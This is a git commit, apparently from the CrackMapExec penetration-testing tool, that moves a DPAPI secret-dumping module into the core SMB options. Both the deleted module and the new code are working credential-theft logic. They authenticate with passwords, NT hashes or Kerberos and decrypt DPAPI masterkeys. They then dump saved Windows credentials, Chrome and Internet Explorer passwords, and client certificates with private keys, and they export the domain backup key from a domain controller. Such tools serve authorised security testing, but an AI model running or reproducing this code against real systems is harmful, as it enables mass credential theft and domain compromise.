pass it to core option

main
zblurx 2023-02-07 12:06:42 +01:00
parent 07f729146f
commit f790d95613
3 changed files with 123 additions and 144 deletions

View File

@ -51,6 +51,7 @@ class connection(object):
self.aesKey = None if not self.args.aesKey else self.args.aesKey
self.kdcHost = None if not self.args.kdcHost else self.args.kdcHost
self.export = None if not self.args.export else self.args.export
self.use_kcache = None if not self.args.use_kcache else self.args.use_kcache
self.failed_logins = 0
self.local_ip = None

View File

@ -1,144 +0,0 @@
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
from dploot.triage.certificates import CertificatesTriage
from dploot.triage.vaults import VaultsTriage
from dploot.triage.browser import BrowserTriage
from dploot.triage.credentials import CredentialsTriage
from dploot.triage.masterkeys import MasterkeysTriage, parse_masterkey_file
from dploot.triage.backupkey import BackupkeyTriage
from dploot.lib.target import Target
from dploot.lib.smb import DPLootSMBConnection
class CMEModule:
name = "dpapi"
description = "Remotely dump DPAPI stored secrets with dploot"
supported_protocols = ["smb"]
opsec_safe= True
multiple_hosts = True
def options(self, context, module_options):
"""
PVK Domain Backupkey file
MKFILE File with masterkeys in form of {GUID}:SHA1
DC_IP IP Address of the domain controller, will use to request Domain Backupkey
"""
self.pvkbytes = None
self.dc_ip = None
self.masterkeys = None
if "PVK" in module_options: # Used to give Domain Backup Key to the module in order to dump user related dpapi secrets
self.pvkbytes = open(module_options["PVK"], 'rb').read()
if "MKFILE" in module_options: # File with decrypted masterkeys
self.masterkeys = parse_masterkey_file(module_options["MKFILE"])
self.pvkbytes = open(module_options["MKFILE"], 'rb').read()
self.use_dc = False
if "DC_IP" in module_options: # If filled, will connect to it in order to request Domain Backupkey
self.dc_ip = module_options["DC_IP"]
self.use_dc = True
pass
def on_admin_login(self, context, connection):
host = connection.host
domain = connection.domain
username = connection.username
kerberos = connection.kerberos
aesKey = connection.aesKey
use_kcache = getattr(connection, "use_kcache", False)
password = getattr(connection, "password", "")
lmhash = getattr(connection, "lmhash", "")
nthash = getattr(connection, "nthash", "")
if self.use_dc : # If the DC ip is filled, will connect to it with used account and dump Domain Backupkey
dc = Target.create(
domain=domain,
username=username,
password=password,
target=self.dc_ip,
dc_ip=self.dc_ip,
lmhash=lmhash,
nthash=nthash,
do_kerberos=kerberos,
aesKey=aesKey,
use_kcache=use_kcache,
)
dc_conn = DPLootSMBConnection(dc)
dc_conn.connect() # Connect to DC
if dc_conn.is_admin: # If is DA, dump Domain Backupkey
context.log.info("Downloading Domain Backupkey")
backupkey_triage = BackupkeyTriage(target=dc, conn=dc_conn)
backupkey = backupkey_triage.triage_backupkey()
self.pvkbytes = backupkey.backupkey_v2
target = Target.create(
domain=domain,
username=username,
password=password,
target=host,
dc_ip=self.dc_ip,
lmhash=lmhash,
nthash=nthash,
do_kerberos=kerberos,
aesKey=aesKey,
use_kcache=use_kcache,
)
conn = DPLootSMBConnection(target)
conn.connect() # Upgrade SMB connection to the target to DPLoot specific SMB connection
# Get cleartext passwords and nthashes from CMEDB in order to use them to decrypt masterkeys
plaintexts = {username:password for _, _, username, password, _,_ in context.db.get_credentials(credtype="plaintext")}
nthashes = {username:nt.split(':')[1] if ':' in nt else nt for _, _, username, nt, _,_ in context.db.get_credentials(credtype="hash")}
context.log.info("Gathering masterkeys")
# Collect User and Machine masterkeys
masterkeys_triage = MasterkeysTriage(target=target, conn=conn, pvkbytes=self.pvkbytes, passwords=plaintexts, nthashes=nthashes)
if self.masterkeys is None:
self.masterkeys = masterkeys_triage.triage_masterkeys()
self.masterkeys += masterkeys_triage.triage_system_masterkeys()
context.log.info("Looting secrets")
# Collect User and Machine Credentials Manager secrets
credentials_triage = CredentialsTriage(target=target, conn=conn, masterkeys=self.masterkeys)
credentials = credentials_triage.triage_credentials()
for credential in credentials:
context.log.highlight("[CREDENTIAL] %s - %s:%s" % (credential.target, credential.username, credential.password))
system_credentials = credentials_triage.triage_system_credentials()
for credential in system_credentials:
context.log.highlight("[CREDENTIAL] %s - %s:%s" % (credential.target, credential.username, credential.password))
# Collect Chrome Based Browser stored secrets
browser_triage = BrowserTriage(target=target, conn=conn, masterkeys=self.masterkeys)
browser_credentials, _ = browser_triage.triage_browsers()
for credential in browser_credentials:
context.log.highlight("[%s] %s - %s:%s" % (credential.browser.upper(), credential.url, credential.username, credential.password))
# Collect User Internet Explorer stored secrets
vaults_triage = VaultsTriage(target=target, conn=conn, masterkeys=self.masterkeys)
vaults = vaults_triage.triage_vaults()
for vault in vaults:
if vault.type == 'Internet Explorer':
context.log.highlight("[Internet Explorer] %s - %s:%s" % (vault.resource, vault.username, vault.password))
# Collect User and Machine certificates with private keys
certificates_triage = CertificatesTriage(target=target,conn=conn, masterkeys=self.masterkeys)
certificates = certificates_triage.triage_certificates()
for certificate in certificates:
if certificate.clientauth:
filename = "%s_%s.pfx" % (certificate.username,certificate.filename[:16])
context.log.success("Writting certificate to %s" % filename)
with open(filename, "wb") as f:
f.write(certificate.pfx)
system_certificates = certificates_triage.triage_system_certificates()
for certificate in system_certificates:
if certificate.clientauth:
filename = "%s_%s.pfx" % (certificate.username,certificate.filename[:16])
context.log.success("Writting certificate to %s" % filename)
with open(filename, "wb") as f:
f.write(certificate.pfx)

View File

@ -36,6 +36,14 @@ from cme.helpers.logger import highlight
from cme.helpers.misc import *
from cme.helpers.bloodhound import add_user_bh
from cme.helpers.powershell import create_ps_command
from dploot.triage.certificates import CertificatesTriage
from dploot.triage.vaults import VaultsTriage
from dploot.triage.browser import BrowserTriage
from dploot.triage.credentials import CredentialsTriage
from dploot.triage.masterkeys import MasterkeysTriage, parse_masterkey_file
from dploot.triage.backupkey import BackupkeyTriage
from dploot.lib.target import Target
from dploot.lib.smb import DPLootSMBConnection
from pywerview.cli.helpers import *
from pywerview.requester import RPCRequester
from time import time
@ -163,10 +171,14 @@ class smb(connection):
cegroup.add_argument("--sam", action='store_true', help='dump SAM hashes from target systems')
cegroup.add_argument("--lsa", action='store_true', help='dump LSA secrets from target systems')
cegroup.add_argument("--ntds", choices={'vss', 'drsuapi'}, nargs='?', const='drsuapi', help="dump the NTDS.dit from target DCs using the specifed method\n(default: drsuapi)")
cegroup.add_argument("--dpapi", action='store_true', help='dump DPAPI secrets from target systems')
cegroup.add_argument("--dump-pvk", action='store_true', help='DPAPI option. Dump domain backupkey on domain controller')
#cgroup.add_argument("--ntds-history", action='store_true', help='Dump NTDS.dit password history')
#cgroup.add_argument("--ntds-pwdLastSet", action='store_true', help='Shows the pwdLastSet attribute for each NTDS.dit account')
ngroup = smb_parser.add_argument_group("Credential Gathering", "Options for gathering credentials")
ngroup.add_argument("--mkfile", action='store', help='DPAPI option. File with masterkeys in form of {GUID}:SHA1')
ngroup.add_argument("--pvk", action='store', help='DPAPI option. File with domain backupkey')
ngroup.add_argument("--enabled", action='store_true', help='Only dump enabled targets from DC')
ngroup.add_argument("--user", dest='userntds', type=str, help='Dump selected user from DC')
@ -1157,6 +1169,92 @@ class smb(connection):
SAM.finish()
@requires_admin
def dpapi(self):
target = Target.create(
domain=self.domain,
username=self.username,
password=self.password,
target=self.host,
lmhash=self.lmhash,
nthash=self.nthash,
do_kerberos=self.kerberos,
aesKey=self.aesKey,
use_kcache=self.use_kcache,
)
conn = DPLootSMBConnection(target)
conn.connect()
pvkbytes = None
if self.args.pvk is not None:
try:
pvkbytes = open(self.args.pvk, 'rb').read()
except Exception as e:
logging.error(str(e))
masterkeys = []
if self.args.mkfile is not None:
try:
masterkeys += parse_masterkey_file(self.args.mkfile)
except Exception as e:
self.logger.error(str(e))
self.logger.info("Gathering masterkeys")
plaintexts = {username:password for _, _, username, password, _,_ in self.db.get_credentials(credtype="plaintext")}
nthashes = {username:nt.split(':')[1] if ':' in nt else nt for _, _, username, nt, _,_ in self.db.get_credentials(credtype="hash")}
if self.password == '' or self.password is None:
plaintexts[self.username] = self.password
if self.nthash == '' or self.nthash is None:
nthashes[self.username] = self.nthash
# Collect User and Machine masterkeys
masterkeys_triage = MasterkeysTriage(target=target, conn=conn, pvkbytes=pvkbytes, passwords=plaintexts, nthashes=nthashes)
masterkeys += masterkeys_triage.triage_masterkeys()
masterkeys += masterkeys_triage.triage_system_masterkeys()
self.logger.info("Looting secrets")
# Collect User and Machine Credentials Manager secrets
credentials_triage = CredentialsTriage(target=target, conn=conn, masterkeys=masterkeys)
credentials = credentials_triage.triage_credentials()
for credential in credentials:
self.logger.highlight("[CREDENTIAL] %s - %s:%s" % (credential.target, credential.username, credential.password))
system_credentials = credentials_triage.triage_system_credentials()
for credential in system_credentials:
self.logger.highlight("[CREDENTIAL] %s - %s:%s" % (credential.target, credential.username, credential.password))
# Collect Chrome Based Browser stored secrets
browser_triage = BrowserTriage(target=target, conn=conn, masterkeys=masterkeys)
browser_credentials, _ = browser_triage.triage_browsers()
for credential in browser_credentials:
self.logger.highlight("[%s] %s - %s:%s" % (credential.browser.upper(), credential.url, credential.username, credential.password))
# Collect User Internet Explorer stored secrets
vaults_triage = VaultsTriage(target=target, conn=conn, masterkeys=masterkeys)
vaults = vaults_triage.triage_vaults()
for vault in vaults:
if vault.type == 'Internet Explorer':
self.logger.highlight("[Internet Explorer] %s - %s:%s" % (vault.resource, vault.username, vault.password))
# Collect User and Machine certificates with private keys
certificates_triage = CertificatesTriage(target=target,conn=conn, masterkeys=masterkeys)
certificates = certificates_triage.triage_certificates()
for certificate in certificates:
if certificate.clientauth:
filename = "%s_%s.pfx" % (certificate.username,certificate.filename[:16])
self.logger.success("Writting certificate to %s" % filename)
with open(filename, "wb") as f:
f.write(certificate.pfx)
system_certificates = certificates_triage.triage_system_certificates()
for certificate in system_certificates:
if certificate.clientauth:
filename = "%s_%s.pfx" % (certificate.username,certificate.filename[:16])
self.logger.success("Writting certificate to %s" % filename)
with open(filename, "wb") as f:
f.write(certificate.pfx)
@requires_admin
def lsa(self):
self.enable_remoteops()
@ -1189,6 +1287,30 @@ class smb(connection):
LSA.finish()
@requires_admin
def dump_pvk(self):
target = Target.create(
domain=self.domain,
username=self.username,
password=self.password,
target=self.host,
lmhash=self.lmhash,
nthash=self.nthash,
do_kerberos=self.kerberos,
aesKey=self.aesKey,
use_kcache=self.use_kcache,
)
conn = DPLootSMBConnection(target)
conn.connect() # Connect to DC
self.logger.info("Downloading Domain Backupkey")
backupkey_triage = BackupkeyTriage(target=target, conn=conn)
backupkey = backupkey_triage.triage_backupkey()
outputfile = '%s.pvk' % self.domain
open(outputfile, 'wb').write(backupkey.backupkey_v2)
self.logger.success("Domain backupkey exported to file {}".format(outputfile ))
def ntds(self):
self.enable_remoteops()
use_vss_method = False